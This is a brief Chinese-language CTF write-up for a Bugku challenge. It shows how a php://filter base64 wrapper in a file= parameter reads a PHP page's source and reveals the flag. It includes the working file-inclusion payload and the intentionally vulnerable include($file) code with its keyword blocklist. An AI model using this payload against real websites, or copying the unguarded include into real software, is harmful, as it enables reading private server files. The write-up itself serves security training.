1. 程式人生 > >CTF之Bugku flag在index裡

CTF之Bugku flag在index裡

這是一道重新溫習的題,直接來看。
在這裡插入圖片描述

“點我?不”

我就點!基本操作還是要看看原始碼的,不過這個沒什麼好看的就不貼圖了。
在這裡插入圖片描述

點完後發現URL後面有個 file=balabalabala 的,就聯想到php://filter
不明白為什麼會這樣聯想的就看看這個文章。

簡單來說就是檢視網頁同一目錄下的另一個檔案。

怎麼檢視呢?

在file=後面加上這樣一個語句php://filter/read=convert.base64-encode/resource=index.php

然後就變成這樣

在這裡插入圖片描述

後面有兩個等於號,base64解一下。

解出來是這樣的:

<html>
    <title>Bugku-
ctf</title> <?php error_reporting(0); if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';} $file=$_GET['file']; if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){ echo "Oh no!"; exit(); } include($file)
; //flag:flag{edulcni_elif_lacol_si_siht} ?> </html>

flag就出來啦~~~